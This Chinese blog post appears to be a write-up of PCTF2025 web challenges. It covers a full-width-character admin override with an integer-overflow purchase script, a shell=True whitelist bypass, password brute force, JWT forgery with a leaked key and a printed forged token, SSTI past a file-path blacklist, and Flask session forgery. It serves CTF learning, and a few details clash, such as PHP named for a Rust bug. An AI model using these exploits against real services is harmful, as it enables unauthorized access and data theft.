跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python大前端算法

PCTF2025 Web 赛题实战复盘:从整数溢出到 SSTI

本次复盘涵盖 PCTF2025 Web 部分多道赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。重点展示了从信息收集到利用链构建的完整思路,适合安全爱好者参考学习。

1qazxsw2发布于 2026/4/8更新于 2026/9/1178 浏览
PCTF2025 Web 赛题实战复盘:从整数溢出到 SSTI

PCTF2025 Web 赛题实战复盘

本次复盘涵盖了 PCTF2025 Web 部分的多道典型赛题,涉及全角字符绕过、Rust 整数溢出、JWT 伪造与密钥泄露、文件上传 SSTI 及 Session 篡改等核心漏洞。通过分析 Flask 应用源码,我们定位了命令执行白名单绕过、密码覆盖机制及模板注入点。结合爆破工具与流量分析,成功获取 Flag。以下是各题目的详细分析与利用思路。

神秘商店

题目入口仅有一个登录框。常规登录无法通过,尝试使用全角字符进行注册和登录。

文章配图

后端代码存在转换逻辑,全角字符能够绕过后端对 admin 的检测,将全角 admin 识别为正常的 admin,从而造成覆盖注册并修改密码。

文章配图

注册成功后,利用整数溢出漏洞(数值从 4294967246 变为 50)购买 Flag。可以直接编写脚本自动化完成登录与攻击流程。

import requests

def exploit():
    url = "http://challenge2.pctf.top:32735"
    session = requests.Session()
    
    print("[+] 注册管理员账户...")
    # 注意这里使用了全角 n
    users = {"username": "admin", "password": "123456"}
    response = session.post(f"{url}/register", data=users)
    print(f"[+] 注册响应:{response.status_code}")
    
    print("[+] 登录...")
    users = {"username": "admin", "password": "123456"}
    response = session.post(f"{url}/login", data=users)
    print(f"[+] 登录响应:{response.status_code}")
    
    response = session.get(f"{url}/user")
    print(f"[+] 用户信息:{response.text}")
    
    print("[+] 触发 Rust 整数溢出...")
    amount = {"amount": 4294967246}
    response = session.post(f"{url}/add_balance", data=amount)
    print(f"[+] 增加余额:{response.text}")
    
    print("[+] 购买 Flag...")
    product = {"product_id": 4}
    response = session.post(f"{url}/buy_product", json=product)
    print(f"[+] 购买结果:{response.text}")

if __name__ == '__main__':
    exploit()

文章配图

该题主要考察 PHP 特性与整数溢出处理。

We_will_rockyou

下载源码后进行分析,这是一个基于 Flask 的服务器面板应用。

基础配置与初始化

from flask import Flask, redirect, url_for, render_template, request
import jwt, uuid, os, subprocess
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
# 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着旧 Token 失效
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}

认证逻辑 (JWT)

这部分负责维持登录状态。由于使用了随机 UUID 作为 Key,安全性在运行时尚可,但无法持久化。

def create_token(user_id, username):
    payload = {'user_id': user_id, 'username': username}
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
        return payload['user_id'], payload['username']
    except:
        return None

命令执行逻辑

这是本题的核心风险点。虽然限制了白名单命令,但使用了 shell=True。

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
    cmd = request.form.get('command', '').strip()
    # 检查机制:只判断命令行的第一个单词是否在白名单内
    if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
        return render_template('dashboard.html', error_msg="Error: Command not allowed or empty")
    try:
        # 风险点:shell=True。虽然开头是 ls,但可以利用 shell 拼接符
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        output = result.stdout + result.stderr
        return render_template('dashboard.html', output=output, command=cmd)
    except Exception as e:
        return render_template('dashboard.html', error_msg=f"Error: {str(e)}")

启动逻辑与管理员密码

启动时会尝试从系统文件读取密码覆盖默认值,这留下了字典爆破的突破口。

if __name__ == '__main__':
    admin_id = 0
    admin_username = 'admin123'
    admin_password = str(uuid.uuid4())
    
    # 密码覆盖机制:尝试从系统文件读取密码
    for path in ['/password', './password.txt']:
        try:
            if os.path.exists(path) and os.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if not raw: continue
                    text = raw.decode('utf-8', errors='replace').strip()
                    candidates = [line.strip() for line in text.splitlines() if line.strip()]
                    if candidates:
                        import secrets
                        admin_password = secrets.choice(candidates)
                        break
        except: pass
    
    accounts[admin_id] = {
        'username': admin_username,
        'password': generate_password_hash(admin_password)
    }
    app.run(debug=False, host='0.0.0.0')

用户名固定为 admin123,而密码虽然初始随机,但会被文件内容覆盖。题目提示使用 rockyou.txt,因此直接对该用户名进行字典爆破。

文章配图

爆破成功后,即可进入后台执行命令。

文章配图

文章配图

Jwt_password_manager

审计代码发现 JWT 签名密钥已泄露,且逻辑中存在将 flag 存储为用户密码项的机制。

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
# ... 省略中间逻辑 ...
if __name__ == '__main__':
    admin_password = str(uuid.uuid4())
    insert_account('admin', generate_password_hash(admin_password))
    
    # flag in admin account ! ^-^
    for path in ['/flag', './flag.txt']:
        try:
            if os.path.exists(path) and os.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if raw:
                        content = raw.decode('utf-8', errors='replace').strip()
                        add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content)
                        break
        except: pass

既然密钥已知,我们可以先注册一个普通账号拿到 Token,然后在 jwt.io 上解密并修改 Payload 中的 username 为 admin,重新签名后替换 Cookie,即可访问管理员数据获取 Flag。

文章配图

伪造后的 Admin Token 示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

文章配图

登录后保存密码即可查看 Flag。

ez_upload

题目提供文件上传功能,但限制查看特定类型文件,且直接读取 /etc/passwd 被过滤。

BLACKLIST_KEYWORDS = [
    'env', '.env', 'environment', 'profile', 'bashrc', 
    'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]

@app.route('/file')
def view_file():
    file_path = request.args.get('file', '')
    file_path_lower = file_path.lower()
    for keyword in BLACKLIST_KEYWORDS:
        if keyword in file_path_lower:
            return render_template_string(template, error_message='...')
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            file_content = f.read()
        # 高危点:render_template_string 渲染了用户上传的文件内容
        return render_template_string(template, file_path=file_path, file_content=file_content)
    except Exception as e:
        # ... 错误处理 ...

关键点在于 render_template_string 渲染了 file_content。如果用户上传包含 Jinja2 语法的文件(如 {{ 7*7 }}),并在查看时触发,即可实现 SSTI。

文章配图

通过构造 SSTI Payload,可以成功读取敏感文件。

文章配图

Do_you_know_session?

搜索框中可注入 SSTI,且有 WAF 防护,但能返回 Config 信息。

文章配图

文章配图

搜索参数 ?context= 处存在 SSTI,配合 WAF 绕过技巧,获取到了 Secret Key。

1919810#mistyovo@foxdog@lzz0403#114514

有了 Secret Key 和现有的 Session Cookie,可以使用 flask-session-cookie-manager 工具伪造 Session。

文章配图

文章配图

最终通过读取 environ 变量获取 Flag。


总结

以上几道题展示了 Web 安全中常见的几种攻击面:输入验证不足导致的字符绕过、弱口令与字典爆破、硬编码密钥导致的 JWT 伪造、不安全的模板渲染引发的 SSTI 以及 Session 管理不当。在实际渗透测试中,除了关注代码逻辑,还要留意环境配置与第三方库的使用细节。

目录

  1. PCTF2025 Web 赛题实战复盘
  2. 神秘商店
  3. Wewillrockyou
  4. 基础配置与初始化
  5. 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着旧 Token 失效
  6. 认证逻辑 (JWT)
  7. 命令执行逻辑
  8. 启动逻辑与管理员密码
  9. Jwtpasswordmanager
  10. ... 省略中间逻辑 ...
  11. ez_upload
  12. Doyouknow_session?

更多推荐文章

查看全部
  • OpenClaw 部署指南:集成 Minimax/DeepSeek 与飞书机器人
  • C++ STL 容器:基于红黑树模拟实现 map 和 set
  • 常见排序算法原理及 Java 实现
  • 基于 Qwen3Guard-Gen-WEB 构建评论审核工具
  • Yolo11 基于 DroneVehicle 数据集的无人机视角车辆目标检测
  • nanobot 轻量 AI Agent 框架搭建 QQ 机器人与搜索功能扩展
  • Ubuntu 24.04 在线安装 Redis 8.x 教程
  • Kimi Code:Moonshot AI 智能编程助手功能与集成指南
  • 图的寻路算法详解:深度优先搜索 (DFS) 的 Java 实现
  • .NET 的 WebApi 项目必要可配置项都有哪些?
  • Gazebo 机器人三维物理仿真平台详解
  • C++ Qt 网络编程实战:UDP、TCP 与 HTTP 详解
  • Ψ0:基于人类视频预训练与人机协同的人形全身 VLA 模型
  • 解决 Cursor 编辑器中 C/C++ 代码无法跳转的问题
  • OpenClaw 联网工具配置与使用指南
  • Stable Diffusion XL 1.0 赋能 AR 滤镜素材批量生成实战
  • OpenClaw 在 WSL Ubuntu 及 CentOS 虚拟机安装与飞书对接教程
  • Whisper 大模型加速版:8 倍速度突破的语音识别技术
  • 人工智能可解释性:迈向透明与可信
  • 汇川 RobotLab 软件常用操作指南

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online